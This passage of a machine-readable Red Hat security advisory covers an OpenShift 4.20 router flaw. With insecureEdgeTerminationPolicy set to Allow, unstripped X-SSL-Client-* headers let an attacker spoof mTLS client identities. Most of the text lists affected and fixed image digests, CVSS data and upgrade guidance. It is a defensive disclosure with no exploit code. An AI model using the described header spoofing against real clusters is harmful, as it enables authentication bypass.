"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2483181"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the OpenShift Router. When a Route has `insecureEdgeTerminationPolicy` set to Allow, the HTTP frontend does not remove `X-SSL-Client-*` headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted `X-SSL-Client-*` headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "openshift/router: openshift/router: mTLS client certificate spoofing via unstripped X-SSL-Client headers on HTTP frontend",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-46579"
},
{
"category": "external",
"summary": "RHBZ#2483181",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2483181"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-46579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-46579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46579"
}
],
"release_date": "2026-04-17T20:10:23+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
